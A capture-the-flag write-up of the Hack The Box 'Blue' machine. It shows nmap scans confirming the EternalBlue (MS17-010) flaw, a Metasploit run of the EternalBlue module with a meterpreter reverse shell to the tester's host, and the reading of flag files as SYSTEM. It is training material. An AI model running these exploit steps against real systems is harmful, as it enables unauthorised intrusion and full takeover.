Blue, while possibly the most simple machine on Hack The Box, demonstrates the severity of the EternalBlue exploit, which has been used in multiple large-scale ransomware and crypto-mining attacks since it was leaked publicly.
Great box for beginner penetration testers…
Note (MS-17-010, otherwise known as ETERNALBLUE)
ETERNALBLUE, is a unauthenticated remote code execution vulnerability in Windows SMB most famous for it’s leak by the Shadow Brokers and for driving the WannaCry worm in May 2017.
Recon
nmap -p 135,139,445 -sCV -oA scans/nmap-tcpscripts 10.10.10.40Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-03 21:01 EDTNmap scan report for 10.10.10.40Host is up (0.018s latency).
PORT STATE SERVICE VERSION135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:|_clock-skew: mean: -17m06s, deviation: 34m38s, median: 2m53s| smb-os-discovery:| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional| Computer name: haris-PC| NetBIOS computer name: HARIS-PC\x00| Workgroup: WORKGROUP\x00|_ System time: 2021-05-04T02:04:49+01:00| smb-security-mode:| account_used: guest| authentication_level: user| challenge_response: supported|_ message_signing: disabled (dangerous, but default)| smb2-security-mode:| 2.02:|_ Message signing enabled but not required| smb2-time:| date: 2021-05-04T01:04:52|_ start_date: 2021-05-04T00:54:47
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 15.74 secondsnmap -p 445 -script vuln 10.10.10.40Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-03 21:17 EDTNmap scan report for 10.10.10.40Host is up (0.019s latency).
PORT STATE SERVICE445/tcp open microsoft-ds
Host script results:|_smb-vuln-ms10-054: false|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND| smb-vuln-ms17-010:| VULNERABLE:| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)| State: VULNERABLE| IDs: CVE:CVE-2017-0143| Risk factor: HIGH| A critical remote code execution vulnerability exists in Microsoft SMBv1| servers (ms17-010).|| Disclosure date: 2017-03-14| References:| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
Nmap done: 1 IP address (1 host up) scanned in 24.85 secondsFoothold & Root
Metasploit
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40RHOSTS => 10.10.10.40msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.14.14lhost => 10.10.14.14msf6 exploit(windows/smb/ms17_010_eternalblue) > options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.10.10.40 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 10.10.14.14 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service PacksRunning it returns a shell as SYSTEM:
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[*] Meterpreter session 1 opened (10.10.14.14:4444 -> 10.10.10.40:49173) at 2021-05-03 21:32:51 -0400
meterpreter > getuidServer username: NT AUTHORITY\SYSTEMI find it easier to work out of a real shell since I don’t use Meterpreter very often:
meterpreter > shellProcess 2220 created.Channel 1 created.Microsoft Windows [Version 6.1.7601]Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>Now just grab the flags:
C:\Windows\system32>cd \users
C:\Users>dir Volume in drive C has no label. Volume Serial Number is A0EF-1911
Directory of C:\Users
21/07/2017 07:56 <DIR> .21/07/2017 07:56 <DIR> ..21/07/2017 07:56 <DIR> Administrator14/07/2017 14:45 <DIR> haris12/04/2011 08:51 <DIR> Public 0 File(s) 0 bytes 5 Dir(s) 17,256,050,688 bytes free
C:\Users>type administrator\desktop\root.txtff548eb7************************C:\Users>type haris\desktop\user.txt4c546aea************************